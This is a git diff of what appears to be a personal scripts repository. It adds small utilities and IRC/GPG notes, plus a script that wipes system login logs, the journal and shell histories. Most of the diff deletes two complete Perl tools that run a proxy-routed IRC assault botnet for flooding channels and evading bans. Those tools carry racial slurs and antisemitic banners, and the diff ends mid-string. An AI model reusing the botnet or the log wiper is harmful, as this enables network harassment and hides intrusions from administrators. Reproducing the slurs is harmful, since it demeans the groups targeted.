diff --git a/acidbox/setup b/acidbox/setup index 462d262..b81b688 100755 --- a/acidbox/setup +++ b/acidbox/setup @@ -34,7 +34,7 @@ ${YELLOW}Type ${BGREEN}cmds${YELLOW} to see a list of commands available.${RESET } setup_user() { - sudo useradd -m -G ssh -s /bin/bash $1 + sudo useradd -m -s /bin/bash $1 mkdir /home/$1/.scripts wget -O /home/$1/.bashrc https://git.supernets.org/acidvegas/acidbox/blob/master/files/.bashrc wget -O /home/$1/.scripts/cmds https://git.supernets.org/acidvegas/acidbox/blob/master/files/cmds diff --git a/bandcamp.py b/bandcamp.py new file mode 100644 index 0000000..6b7f180 --- /dev/null +++ b/bandcamp.py @@ -0,0 +1,10 @@ +#!/usr/bin/env python +import re,sys,urllib.request +if len(sys.argv)!=2:raise SystemExit('error: invalid arguments') +source=urllib.request.urlopen(f'https://{sys.argv[1]}.bandcamp.com/music').read().decode('utf-8') +for album in re.compile('').findall(source): + print(f'found album "{album}"') + source=urllib.request.urlopen(f'http://downloadbandcamp.com/{sys.argv[1]}.bandcamp.com/album/{album}').read().decode('utf-8') + for song in re.findall('(https?://t4\S+).*download="(.*?)"',source): + print(f'downloading "{song[1]}"') + urllib.request.urlretrieve(song[0][:-1],song[1]) \ No newline at end of file diff --git a/cleanup b/cleanup new file mode 100755 index 0000000..92afa21 --- /dev/null +++ b/cleanup @@ -0,0 +1,12 @@ +#!/bin/sh +clear_history() { + for USERHOME in /home/*/; do + for f in .config/cmus/command-history .config/cmus/search-history bash_history history lesshst mysql_history nano_history python_history recently-used ssh/known_hosts wget-hsts wpa_cli_history; do + [ -f $USERHOME/.$f ] && rm $USERHOME/.bash_history + done + done + for f in btmp faillog journal lastlog syslog wtmp; do + [ -f /var/log/$f ] && >/var/log/$f + done + journalctl --vacuum-size=1B +} \ No newline at end of file diff --git a/clitter.py b/clitter.py index 217888d..b274e40 100644 --- a/clitter.py +++ b/clitter.py @@ -4,6 +4,9 @@ ''' Requirements: Tweepy (http://pypi.python.org/pypi/tweepy) + +Todo: + Fuck tweepy, convert this shit to pure python, no 3rd party libs. Oh wait I hardly ever use Twatter... ''' import sys diff --git a/cmus-now b/cmus-now new file mode 100755 index 0000000..789c809 --- /dev/null +++ b/cmus-now @@ -0,0 +1,6 @@ +#!/bin/sh +if ps -C cmus > /dev/null; then + artist=`cmus-remote -Q | grep --text '^tag artist' | sed '/^tag artistsort/d' | awk '{gsub("tag artist ", "");print}'` + title=`cmus-remote -Q | grep --text '^tag title' | sed -e 's/tag title //' | awk '{gsub("tag title ", "");print}'` + notify-send "Now Playing: $artist - $title" +fi \ No newline at end of file diff --git a/craggle.py b/craggle.py index 3a08a12..2983b75 100644 --- a/craggle.py +++ b/craggle.py @@ -3,6 +3,7 @@ ''' Random script to parse all the countries, states, cities, & sections/sub-sections on CraigsList +Dont know what I am doing with this yet... ''' import re, time, urllib.request diff --git a/docs/gpg.md b/docs/gpg.md index 6689b38..58a3301 100644 --- a/docs/gpg.md +++ b/docs/gpg.md @@ -1,40 +1,30 @@ # GPG Cheat Sheet ## Create a key -`gpg --expert --full-generate-key` -* RSA (set your own capabilities) -* Set to Certify only. -* 4096 -* 2020-01-01 - -`gpg --expert --edit-key ` -* `addkey` (Create 3, one for sign, encrypt, authenticate) -* `adduid` -* `save` +* `gpg --expert --full-generate-key` + * RSA (set your own capabilities) + * Set to Certify only + * 4096 + * 2020-01-01 +* `gpg --expert --edit-key ` + * `addkey` (Create 3, one for sign, encrypt, authenticate) + * `addphoto` *(240x288)* + * `save` + * `quit` +* `gpg -a --output revoke.asc --gen-revoke ''` ## Backup key -* `mv ~/.gnupg/secring.gpg ~/.backup/gpg/` -* `mv ~/.gnupg/pubring.gpg ~/.backup/gpg/` -* `gpg -a --export-secret-key > secret_key.gpg` +* `gpg -a --export-secret-key > secret_key.gpg` * `gpg -a --export-secret-subkeys > secret_subkeys.gpg` * `gpg --delete-secret-keys ` * `gpg --import secret_subkeys.gpg` * `gpg --list-secret-keys` -* `rm secret_subkeys.gpg` - -## Revoke cert -* `gpg -a --output revoke.asc --gen-revoke ''` +* `gpg --edit-key ` *(type `trust` and press `5`)* ## Import/Export public key * `gpg --import public.key` * `gpg --output public.key --armor --export ` - -## Import/Export private key * `gpg --export-secret-keys --armor > privkey.asc` -* `gpg --import privkey.asc` - -## Edit keys -* `gpg --edit-key ` ## List (secret) keys * `gpg --list-keys` @@ -55,18 +45,14 @@ or... * `gpg --output doc.sig --detach-sig doc` ## Verify -* `gpg --verify doc.sig` -* `gpg --verify archlinux-version.iso.sig` -* `gpg --verify archlinux-version.iso.sig /path/to/archlinux-version.iso` +* `gpg --verify example.sig` +* `gpg --verify example.sig /path/to/example.iso` * `gpg --with-fingerprint ` ## Send keys -* `gpg --send-keys ` -* `gpg --refresh-keys` - -## Get keys -* `gpg --recv-key ''` -* `gpg --fingerprint ''` +* `gpg --keyserver --send-keys ` +* `gpg --recv-key ' && gpg --fingerprint ''` +* `gpg --search-keys ''` ## Sign key * `gpg --lsign-key ''` diff --git a/docs/unreal.md b/docs/unreal.md new file mode 100644 index 0000000..7c76190 --- /dev/null +++ b/docs/unreal.md @@ -0,0 +1,134 @@ +# Modes + +#### User Modes +| Mode | Description | Restriction | +| ---- | -------------------------------------------------------------------- | --------------- | +| B | marks you as being a bot in WHOIS | | +| d | can only see messages prefixed with `!@$. | | +| D | can only receive private messages from operators, servers & services | | +| H | hide operator status in WHOIS | oper-only | +| I | hide online time in WHOIS | oper-only | +| i | hidden from WHO & NAMES if queried from outside the channel | | +| o | network operator | set by server | +| p | hide your channels in WHOIS | | +| q | unkickable | oper-only | +| r | registered nick | set by services | +| R | can only receive private messages from registered users | | +| S | services bot | services-only | +| s | receive server notices | oper-only | +| T | can not recieve CTCPs | | +| t | indicates using a vhost | set by server | +| w | receive wallops messages | | +| x | hidden cloaked hostname | | +| Z | can only send/receive private messages with ssl/tls users | | +| z | indicates connected via ssl/tls | set by server | + +#### Channel Modes +###### Access Levels +| Mode | Description | Restriction | +| ---- | -------------------------------------------------------- | --------------- | +| v | voice - able to speak in +m/+M channels | +h | +| h | halfop - has most of the privledges as op | +o | +| o | op - full privledges | +o | +| a | admin - same as op except can not be kick by +ho users | +q | +| q | owner - same as op except can not be kick by +hoa users | set by services | + +###### List Modes +| Mode | Description | Restriction | +| ---- | --------------------- | ----------- | +| b | ban user from channel | +h | +| e | ban exemption | +h | +| I | invite exemption | +h | + +###### Settings +| Mode | Description | Restriction | +| ---- | ------------------------------------------------------ | --------------- | +| c | no color | +o | +| C | no ctcp | +o | +| D | delay JOIN messages until they speak | +o | +| d | indicates hidden users after unsetting +D | set by server | +| f | flood protection see below | +o | +| G | enable word filters | +o | +| H | channel history | +o | +| i | requires people to be /INVITE'd to the channel | +o | +| k | users must specify a channel key in order to join | +h | +| K | /KNOCK command is not allowed | +o | +| L | users who cant join are be redirected to this channel | +o | +| l | limit the amount of users that may be in the channel | +o | +| m | only people with +v or higher (+vhoaq) may speak | +h | +| M | must be authenticated or have +v to speak | +o | +| N | no nick-changes permitted | +o | +| n | no external messages | +h | +| O | operator only channel | oper-only | +| P | permanent channel | oper-only | +| p | private channel | +o | +| Q | no /KICK allowed. Can use services for kicking | +o | +| R | only registered users may join | +o | +| r | channel is registered | set by services | +| s | channel hidden from /LIST and /WHOIS | +o | +| S | strip color codes | +o | +| T | channel notices are not permitted | +o | +| t | restricts /TOPIC to +h or higher | +h | +| V | can not invite users to channel | +o | +| z | only allow SSL/TLS users to join | +o | +| Z | indicates all users connected via SSL/TLS when +z | set by server | + + + +NOT FINISHED BELOW THIS LINE YADDA YADDA YA + +###### Mode f + +###### Extended Bands +H max-lines-to-record:max-time-to-record-in-minutes +server-time cap + + +c CTCPs Set channel mode +C (block all CTCP's) m, M +j joins Set channel mode +i (invite only) R +k knocks Set channel mode +K (no /knock's) Counted for local clients only +m messages/notices Set channel mode +m (regular users cannot speak) M +n nick changes Set channel mode +N (no nick-changes permitted) +t text Kick the user b Unlike all the rest, these are per-user message/notice limits. Action is to kick or kick+ban the user. + + + + + + + + + +t extbans/timedban Timed ban that will make a ban unset after the specified number of minutes. +b ~t:3:*!*@hostname + +The following ban types specify which actions (join, nick-change or speaking) are affected by a ban: +Extban Module Explanation Example +q extbans/quiet People matching these bans can join but are unable to speak, unless they have +v or higher. +b ~q:*!*@*.blah.com +n extbans/nickchange People matching these bans cannot change nicks, unless they have +v or higher. +b ~n:*!*@*.aol.com +j extbans/join When a user matches this (s)he may not join the channel but if already in the channel then all activities are permitted such as speaking or changing the nick. This can be useful to ban an entire ISP and then manually /INVITE people to the channel so once joined they can behave as normal. +b ~j:*!*@*.aol.com +f chanmodes/link Forward user to another channel if matching mask. +b ~f:#badispchannel:*!*@*.isp.com +m extbans/msgbypass Bypass message restrictions. This extended ban is only available as +e and not as +b. Syntax: +e ~m:type:mask. + +Valid types are: external (bypass +n), moderated (bypass +m/+M), censor (bypass +G), color (bypass +S/+c) and notice (bypass +T). + +e ~m:moderated:*!*@192.168.* + ++e ~m:external:*!*@192.168.* ++e ~m:color:~a:ColorBot + +These bantypes introduce new criteria which can be used: +Extban Module Explanation Example +a extbans/account If a user is logged in to services with this account name, then this ban will match. This is slightly different than ~R, in the sense that a user with nick ABC may be logged in under account XYZ. Not all services packages support this, in which case you will have to use ~R instead. +e ~a:SomeAccount + ++I ~a:SomeAccount +c extbans/inchannel If the user is in this channel then (s)he is unable to join. A prefix can also be specified (+/%/@/&/~) which means that it will only match if the user has that rights or higher on the specified channel. +b ~c:#lamers + ++e ~c:@#trustedops +O extbans/operclass If the user is an IRCOp and the oper::operclass matches this name then the ban/invex will match. You can use this to for example create *admin* only channels. +iI ~O:*admin* +r extbans/realname If the realname (gecos) of a user matches this then (s)he is unable to join. Since real names may contain spaces you can use a underscore to match a space (and underscore) +b ~r:*Stupid_bot_script* +S extbans/certfp When a user is using SSL/TLS with a client certificate then you can match the user by his/her SSL fingerprint (the one you see in /WHOIS). Useful for ban exemptions (+e) and invite exceptions (+I). +e ~S:0000000etc + ++I ~S:0000000etc +T extbans/textban Channel-specific text filtering. Supports two actions: 'censor' and 'block', see examples on the right. +b ~T:censor:*badword* + + +https://www.unrealircd.org/docs/User_%26_Oper_commands diff --git a/gitserver.sh b/gitserver.sh index 08b3d66..bcc63b9 100644 --- a/gitserver.sh +++ b/gitserver.sh @@ -2,6 +2,7 @@ [ ! getent group ssh ] && groupadd ssh [ ! grep -q /usr/bin/git-shell /etc/shells ] && echo /usr/bin/git-shell >> /etc/shells [ ! $(getent passwd git > /dev/null) ] && userdel -f git +[ ! -d /srv/git ] && mkdir /srv/git useradd -d /srv/git -G ssh -k /dev/null -m -s /usr/bin/git-shell -U git echo "PUBLICKEY" > /etc/ssh/authorized_keys/git -mkdir "$1.git" && cd "$1.git" && git -C "$1.git" --bare init chown -R git:git "$1.git" \ No newline at end of file +mkdir /srv/git/$1.git && git -C /srv/git/$1.git --bare init && chown -R git:git /srv/git/$1.git \ No newline at end of file diff --git a/gmail.py b/gmail.py new file mode 100644 index 0000000..05065df --- /dev/null +++ b/gmail.py @@ -0,0 +1,5 @@ +#!/usr/bin/env python +import smtplib,sys +with smtplib.SMTP_SSL('smtp.gmail.com',465) as server: + server.login('username@gmail.com','password') + server.sendmail('username@gmail.com','target@mail.com',' '.join(sys.argv[1:])) \ No newline at end of file diff --git a/irc/asian-arab.pl b/irc/asian-arab.pl deleted file mode 100644 index 188fc92..0000000 --- a/irc/asian-arab.pl +++ /dev/null @@ -1,577 +0,0 @@ -#!/usr/bin/perl -# -# - -# {{{ original copyrights & info - -# This is proxysuite, written in GNU/PURL -# by Jmax, of bantown and the GNAA. -# It gathers and tests proxies, both http and socks4 - -# This product is licensed under the BPL. -# You should have recieved a copy of the -# license with this program - -# el8 tr0ll c0dez by Jmax [ BANTOWN irc.bantown.com #bantown ] [ GNAA irc.gnaa.us #gnaa ] - - -# ASIAN 2.0 by Jmax -# -# I have made many modifications: -# - Use of command line arguments as opposed to editing the script itself. -# - Adding a SOCKS routine, instead of using Net::SOCKS (no non-standard modules will be required) -# - Adding a random nick/fullname/ircname routine, instead of using Crypt::RandPasswd (no non-standard modules will be required) -# - Improved fork routine/library - -# Must be run on a POSIX-compliant system, with perl. -# note that there's a bug in the way that COMPUTER MACHINEZ COMPUTE, -# and therefore proxies can't be shared between forks. Oh well. - -# The original header (for historical reasons) -# is as follows (NOTE: syntax here is _incorrect_): -# ----------------------------------------------- -# ASIAN by Rucas -# Automated Synchronous IRC Assault Network -# Based on AYSYN by mef -# -# Make sure to put a SOCKS5 proxy list in proxies.txt in the same -# directory as this script. If you'd like to use tor, you can put -# the correct info on one line in proxies.txt and this app will -# still function properly (although generally tor sucks) -# -# All bots join $g_channel and are issued raw irc commands from there -# using syntax "all PRIVMSG Rucas lol you fail it" for all bots or -# "botname PRIVMSG Rucas lol failure" and such. -# -# Testing of an early version of this script is the reason that -# Freenode now checks for open SOCKS proxies. -# ----------------------------------------------- - -# }}} - -use warnings; -use strict; - -use IO::Socket; -use IO::Handle; -use POSIX qw(:signal_h :sys_wait_h); # fork - -use Time::HiRes; -# use Data::Dumper; - -use vars qw($VERSION); -$VERSION = "3.0"; - - -# {{{ globals - -my ($g_forkcount, $g_pid) = (0, undef); -my ($g_dead_nigger_storage, $g_maxfork) = (0, 40); - -my ($g_network, $g_channel); - -# }}} - -# {{{ signal handlers - -$SIG{INT} = sub { kill('INT', (getpgrp(0) * -1)) && exit; }; -$SIG{CHLD} = sub { $g_dead_nigger_storage++ while(($g_pid = waitpid(-1, WNOHANG)) > 0); }; - -# }}} - - -# {{{ entry point - -error("please run using the --help argument") unless $ARGV[0]; -if ($ARGV[0] eq '--help') { - show_usage(); exit 0; -} elsif ($ARGV[0] eq '--version') { - show_version(); exit 0; -} else { - error("please run using the --help argument") unless $ARGV[1]; - $g_network = $ARGV[0]; - $g_channel = $ARGV[1]; -} - -# }}} - -# {{{ help/usage information - -sub show_help { - print "arab $VERSION by vxp\n". - "!!! THIS ASIAN 2.1 BY JMAX HACKED BY HIZBULLAH !!!\n". - "!!! STOP SUPPORTING ISRAELI DOGS !!!\n". - "Based on code & ideas by Jmax, Rucas, abez and mef.\n". - "\n". - "\n". - " Invocation:\n". - " perl ".__FILE__." server \"#channel\"\n". - "\n". - " XXX, and \"#channel\" is the control channel you want the bots\n". - " to join. Please note that some shells will interpret the # in\n". - " \"#channel\" as acomment, and will not send it to the script.\n". - " In this case, you may either use quotes, or escape the '#'.\n". - " I prefer quotes.\n". - " Note that a list of (nick|user|real) names is expected to reside\n". - " in ./names.txt\n". - "\n". - "\n". - " Usage:\n". - " all [space-delimited arguments] :[arguments with spaces]\n". - " [space-delimited arguments] :[arguments with spaces]\n". - " ,,... [space-delimited arguments] :[arguments with spaces]\n". - "\n". - " Simply privmsg your command to the control channel, and the respective bots will follow.\n". - "\n". - " Examples:\n". - " <~supers> all join #gnaa gnaa\n". - " All bots will join #gnaa using the key 'gnaa'\n". - " <~supers> all privmsg #gnaa :LOL HY LOL HY\n". - " All bots will say \"LOL HY LOL HY\" in #gnaa\n". - " <\@Rucas> fgtbot2235 nick NOT_FGT_LOL_GIMME_VOICE\n". - " The bot with the nick 'fgtbot2235' will change its nick to 'NOT_FGT_LOL_GIMME_VOICE'\n". - " <\@Jmax> NOT_FGT_LOL_GIMME_VOICE,dongs,loljews,nullo_is_a_fag_LOL part #gnaa :lol jews\n". - " The bots with the nicks 'NOT_FGT_LOL_GIMME_VOICE', 'dongs', 'loljews', and 'nullo_is_a_fag_LOL'\n". - " will part #gnaa with reason 'lol jews'\n". - "\n". - "\n". - " Enjoy. -- vxp\n"; -} - -# }}} - -# {{{ version information - -sub show_version { - print "arab $VERSION by vxp\n". - "!!! THIS ASIAN 2.1 BY JMAX HACKED BY HIZBULLAH !!!\n". - "!!! STOP SUPPORTING ISRAELI DOGS !!!\n". - "Based on code & ideas by Jmax, Rucas, abez and mef.\n". - "\n"; -} - -# }}} - - -# load the proxy and name list(s) -my @g_proxies = load_proxy_list(); -my @g_names = load_name_list(); - - -# resolve the host name of the specified target ircd -# and cache it in a shared variable -my ($g_server_host, @g_server_ip); -$g_server_host = $ARGV[0]; -@g_server_ip = resolve($g_server_host); - - -# fork(2) off up to $g_maxfork child processes to use as -# a pool for subsequent connection attempts -notice("Initializing (forking) bots"); -for ($g_forkcount = 0; # $g_forkcount must _not_ - $g_forkcount < $g_maxfork; # be local to here - $g_forkcount++) { - sleep 1; # so we don't overload ourselves - - if (!defined(my $g_pid = fork())) { # fork - error("couldn't fork: $!"); # die if fork fails - } elsif ($g_pid == 0) { - # in child: - while (@g_proxies) { - # grab a random proxy off the list... - my $proxy_slot = int rand @g_proxies; - my $proxy = $g_proxies[$proxy_slot]; - - # ...attempt to establish a connection through it and - # join a drone into the control channel on success. - if(spawn_bot($proxy->{ip}, $proxy->{port}, $proxy->{type}, - @g_server_ip, $g_server_host)) { - # succeeded - } else { - # failed, delete proxy - # XXX: not shared - #delete $g_proxies[$proxy_slot]; - }; - - sleep 10; # to prevent throttling by IRCd - } - exit 0; - - } else { - # in parent: - - } -} - -sleep while ($g_dead_nigger_storage < $g_maxfork); -exit 666; - - -# {{{ load lists - -sub load_proxy_list { - my (@proxies); - - error("$@") unless push @proxies, load_socks4_list(); - error("$@") unless push @proxies, load_socks5_list(); - error("$@") unless push @proxies, load_http_list(); - return @proxies; -} - -sub load_socks4_list { - my (@proxies); - - open SOCKSFILE, "<", "./socks4.txt" or error("could not open SOCKS 4 proxy file socks4.txt: $!"); - while () { - chomp; - my ($ip, $port) = /([^:]+):([0-9]+)/; - push @proxies, ({ip => $ip, port => $port, type => '4'}); - } - close(SOCKSFILE) or error("could not close SOCKS 4 proxy file socks4.txt: $!"); - - notice("acquired ". scalar(@proxies) ." SOCKS 4 prox(y|ies)."); - return (@proxies); -} - -sub load_socks5_list { - my (@proxies); - - open SOCKSFILE, "<", "./socks5.txt" or error("could not open SOCKS 5 proxy file socks5.txt: $!"); - while () { - chomp; - my ($ip, $port) = /([^:]+):([0-9]+)/; - push @proxies, ({ip => $ip, port => $port, type => '5'}); - } - close(SOCKSFILE) or error("could not close SOCKS 5 proxy file socks5.txt: $!"); - - notice("acquired ". scalar(@proxies) ." SOCKS 5 prox(y|ies)."); - return (@proxies); -} - -sub load_http_list { - my (@proxies); - - open HTTPFILE, "<", "./http.txt" or error("could not open HTTP proxy file http.txt: $!"); - while () { - chomp; - my ($ip, $port) = /([^:]+):([0-9]+)/; - push @proxies, ({ip => $ip, port => $port, type => 'h'}); - } - close(HTTPFILE) or error("could not close HTTP proxy file http.txt: $!"); - - notice("acquired ". scalar(@proxies) ." http prox(y|ies)."); - return (@proxies); -} - -sub load_name_list { - my (@names); - - open NAMESFILE, "<", "./names.txt" or error("could not open (nick|user|real) name list file names.txt: $!"); - while () { - chomp; - push @names, $_; - }; - close(NAMESFILE) or error("could not close (nick|user|real) name list file names.txt: $!"); - - notice("acquired ". scalar(@names) ." (nick|user|real) name(|s)."); - return (@names); -} - -# }}} - -# {{{ wrappers/tools - -sub iptoipstr { - my ($ip) = $_; - my $d = $ip % 256; $ip -= $d; $ip /= 256; - my $c = $ip % 256; $ip -= $c; $ip /= 256; - my $b = $ip % 256; $ip -= $b; $ip /= 256; - my $a = $ip; - my $ipstr = "$a.$b.$c.$d"; - return $ipstr; -} - -sub notice { - my $notice = shift; - print ">>>> ". $notice ."\n"; - return; -} - -sub incoming { - my ($nick, $line, $server) = @_; - #printf("IRCd >>>> %-12s ] %s\n", $nick, $line); - return; -} - -sub outgoing { - my ($nick, $line, $server) = @_; - #printf("IRCd <<<< %-12s ] %s\n", $nick, $line); - return; -} - -sub warning { - my $warning = shift; - print "!!!! ". $warning ."\n"; - return; -} - -sub error { - my $error = shift; - print "!!!! ". $error ."\n"; - exit 0; -} - -# }}} - -# {{{ per-drone logic - -sub spawn_bot { # only return 0 if the proxy failed. Otherwise, return 1; - my ($proxy_ip, $proxy_port, $proxy_type, - $remote_ip, $remote_host) = @_; - my $nick = $g_names[int rand @g_names]; - my ($ident, $realname) = ($nick, $nick); - my ($line, $sock, $altsock); - my ($pingtime) = -1; - - eval { - local $SIG{ALRM} = sub { die "alarm\n" }; # NB: \n required - alarm 5; - $sock = connect_to_proxy($proxy_ip, $proxy_port, $proxy_type, - $remote_ip, 6667); - alarm 0; - }; - if ($@) { - error("unkown error: $@") unless $@ eq "alarm\n"; # propagate unexpected errors - #warning("$proxy_ip:$proxy_port not responding, removing from list"); - #return 0; - } - - $sock = connect_to_proxy($proxy_ip, $proxy_port, $proxy_type, - $remote_ip, 6667); - return 0 unless $sock; - - print $sock "NICK $nick\r\n"; - outgoing($nick, "NICK $nick"); - print $sock "USER $ident * * :$realname\r\n"; - outgoing($nick, "USER $ident * * :$realname"); - - while ($line = <$sock>) { - chomp $line; - # MIGHT WANNA ADJUST THESE vv - next if $line =~ /372/; # ignore motd msgs - incoming($nick, $line); - last if $line =~ /376|422/; # end of motd or no motd - return 0 if $line =~ /BANNED/i; - return 0 if $line =~ /ERROR.*G.lined/i; - return 0 if $line =~ /ERROR.*K.lined/i; - return 1 if $line =~ /ERROR/i; - return 1 if $line =~ /432/; - return 1 if $line =~ /433/; - # MIGHT WANNA ADJUST THESE ^^ - if ($line =~ /PING (.*)$/) { - print $sock "PONG $1\r\n"; - } - } - print $sock "JOIN $g_channel\r\n"; - outgoing($nick, "JOIN $g_channel"); - notice("connected to $remote_host as $nick!$ident ($proxy_ip:$proxy_port:$proxy_type)"); - while ($line = <$sock>) { - chomp $line; - if ($line =~ /PING (.*)$/) { - print $sock "PONG $1\r\n"; - } elsif ($line =~ /PONG/) { - if($pingtime != -1) { - print $sock "PRIVMSG $g_channel :PONG received after ". Time::HiRes::tv_interval($pingtime,[Time::HiRes::gettimeofday]) ." secs\r\n"; - $pingtime = -1; - } - } elsif ($line =~ /PRIVMSG $g_channel :\.status/i) { - print $sock "PRIVMSG $g_channel :I'm $nick on $remote_host via $proxy_ip:$proxy_port (type: $proxy_type)\r\n"; - } elsif ($line =~ /PRIVMSG $g_channel :\.ping/i) { - $pingtime = [Time::HiRes::gettimeofday]; - print $sock "PING :$pingtime\r\n"; - } elsif ($line =~ /PRIVMSG $g_channel :\.randnick/i || - $line =~ /432/ || $line =~ /433/) { - incoming($nick, $line); - $nick = $g_names[int rand @g_names]; - print $sock "NICK $nick\r\n"; - outgoing($nick, "NICK $nick"); - } elsif ($line =~ /PRIVMSG $g_channel :all(\/{1}[^ ]+) (.*)$/i) { - my ($qualifiers, $cmds) = ($1, $2); - my (undef, $repeat) = split /\//, $qualifiers; - $cmds =~ s/\$nick/$nick/g; - my (@cmds) = split /;/, $cmds; - my $current = 0; - while ($current < $repeat) { - foreach my $cmd (@cmds) { - if ($cmd =~ /\.randnick/) { - $nick = $g_names[int rand @g_names]; - print $sock "NICK $nick\r\n"; - } else { - print $sock "$cmd\r\n"; - } - } - $current++; - } - } elsif ($line =~ /PRIVMSG $g_channel :(?:\S*|\s*)$nick(?:\S*|\s*)(\/{1}[^ ]+) (.*)$/i) { - my ($qualifiers, $cmds) = ($1, $2); - my (undef, $repeat) = split /\//, $qualifiers; - if ($cmds =~ /nick (\S*)/i) { - $nick = $1; - } - my (@cmds) = split /;/, $cmds; - my $current = 0; - while ($current < $repeat) { - foreach my $cmd (@cmds) { - if ($cmd =~ /\.randnick/) { - $nick = $g_names[int rand @g_names]; - print $sock "NICK $nick\r\n"; - } else { - print $sock "$cmd\r\n"; - } - } - $current++; - } - incoming($nick, $line); - outgoing($nick, $cmds); - } elsif ($line =~ /^:(.*)!.* (PRIVMSG|NOTICE) $nick :(.*)$/i) { - my $msg = $3; - chomp $msg; - if($2 eq 'PRIVMSG') { - print $sock "PRIVMSG $g_channel :<$1> $msg\r\n"; - } else { - print $sock "PRIVMSG $g_channel :-$1- $msg\r\n"; - } - } elsif ($line =~ /473/) { - # (channel is +i) - alarm 5; - $SIG{ALRM} = sub { print $sock "JOIN $g_channel\r\n"; - alarm 0; }; - } else { - incoming($nick, $line); - } - } -} - -# }}} - -# {{{ proxy protocol handshakes/tunnel establishment - -sub connect_to_proxy { - my ($proxy_ip, $proxy_port, $proxy_type, - $remote_ip, $remote_port) = @_; - if($proxy_type eq '4') { - return connect_to_socks4_proxy($proxy_ip, $proxy_port, - $remote_ip, $remote_port); - } elsif($proxy_type eq '5') { - return connect_to_socks5_proxy($proxy_ip, $proxy_port, - $remote_ip, $remote_port); - } elsif($proxy_type eq 'h') { - return connect_to_http_proxy($proxy_ip, $proxy_port, - $remote_ip, $remote_port); - } else { - error("unknown proxy type $proxy_type ($proxy_ip:$proxy_port)"); - } -} - -sub connect_to_socks4_proxy { - # see http://socks.permeo.com/protocol/socks4.protocol - my ($socks_ip, $socks_port, $remote_ip, $remote_port) = @_; - my $sock = IO::Socket::INET->new( - PeerAddr => $socks_ip, - PeerPort => $socks_port, - Proto => 'tcp', - Timeout => '8' - ); - return unless $sock; - $sock->autoflush(1); - print $sock pack('CCn', 4, 1, $remote_port) . inet_aton($remote_ip) . pack('x'); - my $received = ''; - while (read($sock, $received, 8) && (length($received) < 8)) {} - my ($vn, $cd, $listen_port, $listen_addr) = unpack('CCnN', $received); - return unless $cd; - if ($cd != 90) { - return; - } - return $sock; -} - -sub connect_to_socks5_proxy { - my ($socks_ip, $socks_port, $remote_ip, $remote_port) = @_; - my $sock = IO::Socket::INET->new( - PeerAddr => $socks_ip, - PeerPort => $socks_port, - Proto => 'tcp', - Timeout => '8' - ); - return unless $sock; - $sock->autoflush(1); - - print $sock pack('CCC', 5, 1, 0); - my $received = ''; - while (read($sock, $received, 2) && (length($received) < 2)) {} - my (undef, $method) = unpack('CC', $received); - print "received: '$received'\n"; - return if $method == 0xFF; - print $sock pack ('CCCCNn', 5, 1, 0, 1, inet_aton($remote_ip), - $remote_port); - $received = ''; - while (read($sock, $received, 2) && (length($received) < 4)) {} - my ($vn, $rep) = unpack('CC', $received); - if ($rep != 0) { - return; - } - return $sock; -} - -sub connect_to_http_proxy { - my ($http_ip, $http_port, $remote_ip, $remote_port) = @_; - my $sock = IO::Socket::INET->new( - PeerAddr => $http_ip, - PeerPort => $http_port, - Proto => 'tcp', - Timeout => '8' - ); - return unless $sock; - $sock->autoflush(1); - - print $sock "CONNECT $remote_ip:$remote_port HTTP/1.0\r\n\r\n"; - my $received = ''; - while (read($sock, $received, 12) && (length($received) < 12)) {} - my (undef, $response) = split / /, $received; - return if $received eq ""; - return if $response ne '200'; - - while(read($sock, $received, 1)) { - if($received eq "\n") { - read($sock, $received, 1); - if($received eq "\r") { - read($sock, $received, 1); - return $sock; - } - } - } - return; -} - -sub resolve { - my $host = shift; - my (undef, undef, undef, undef, @servers) = gethostbyname($host); - unless (@servers) { - error("cannot resolve server $host: $?"); - return 0; - } - my @servers_ip; - foreach my $server (@servers) { - my ($a, $b, $c, $d) = unpack('C4', $server); - my $server_ip = "$a.$b.$c.$d"; - push (@servers_ip, $server_ip); - } - return @servers_ip; -} - -# }}} - -# vim:ts=2 -# vim:sw=2 -# vim:expandtab -# vim:foldmethod=marker diff --git a/irc/asian.pl b/irc/asian.pl deleted file mode 100644 index 02cc24a..0000000 --- a/irc/asian.pl +++ /dev/null @@ -1,318 +0,0 @@ -#!/usr/bin/perl - -# --> -# WORK IN PROGRESS -# <-- - -# ASIAN 2.0 by Jmax -# -# I have made many modifications: -# - Use of command line arguments as opposed to editing the script itself. -# - Adding a SOCKS routine, instead of using Net::SOCKS (no non-standard modules will be required) -# - Adding a random nick/fullname/ircname routine, instead of using Crypt::RandPasswd (no non-standard modules will be required) -# - Improved fork routine/library -# -# The original header is as follows (NOTE: syntax here is _incorrect_): -# ----------------------------------------------- -# ASIAN by Rucas -# Automated Synchronous IRC Assault Network -# Based on AYSYN by mef -# -# Make sure to put a SOCKS5 proxy list in proxies.txt in the same -# directory as this script. If you'd like to use tor, you can put -# the correct info on one line in proxies.txt and this app will -# still function properly (although generally tor sucks) -# -# All bots join $channel and are issued raw irc commands from there -# using syntax "all PRIVMSG Rucas lol you fail it" for all bots or -# "botname PRIVMSG Rucas lol failure" and such. -# -# Testing of an early version of this script is the reason that -# Freenode now checks for open SOCKS proxies. -# ----------------------------------------------- - -# TODO: -# file flooding with adjustments for nick-length - -use warnings; -use strict; -use IO::Socket; -use IO::Handle; -# for forking -use POSIX qw(:signal_h :sys_wait_h); -my ($forkcount, $pid, $dead_nigger_storage, $maxfork) = (0, undef, 0, 50); -$SIG{INT} = sub { kill('INT', (getpgrp(0) * -1)) && exit; }; -$SIG{CHLD} = sub { $dead_nigger_storage++ while(($pid = waitpid(-1, WNOHANG)) > 0); }; -# end -use vars qw($VERSION); -$VERSION = "2.0-beta3"; - -error("please run using the --help argument") unless $ARGV[0]; -my ($server, $port, $channel, $nickbase); -if ($ARGV[0] eq '--help') { - print "ASIAN $VERSION by Jmax, Rucas, abez. Inspired by code by mef.\n". - "\n". - "\n". - " Invocation:\n". - " perl ".__FILE__." server[:port] \"#channel\" [nickbase]\n". - "\n". - " Where \"server\" is a hostname to an ircd, and \"#channel\" is the control channel\n". - " you want the bots to join, and \"server\" is optionally affixed with a port to\n". - " use (if not 6667) with a colon inbetween. Please note that some shells will interpret\n". - " the # in \"#channel\" as a comment, and will not send it to the script. In this case,\n". - " You may either use quotes, or escape the '#'. I prefer quotes. You may also, optionally,\n". - " specify a nickbase. This will cause all nicks to begin with that string. You should\n". - " probably not do this, as it makes your bots easier to ban.\n". - "\n". - "\n". - " Usage:\n". - " all [space-delimited arguments] :[arguments with spaces]\n". - " [space-delimited arguments] :[arguments with spaces]\n". - " ,,... [space-delimited 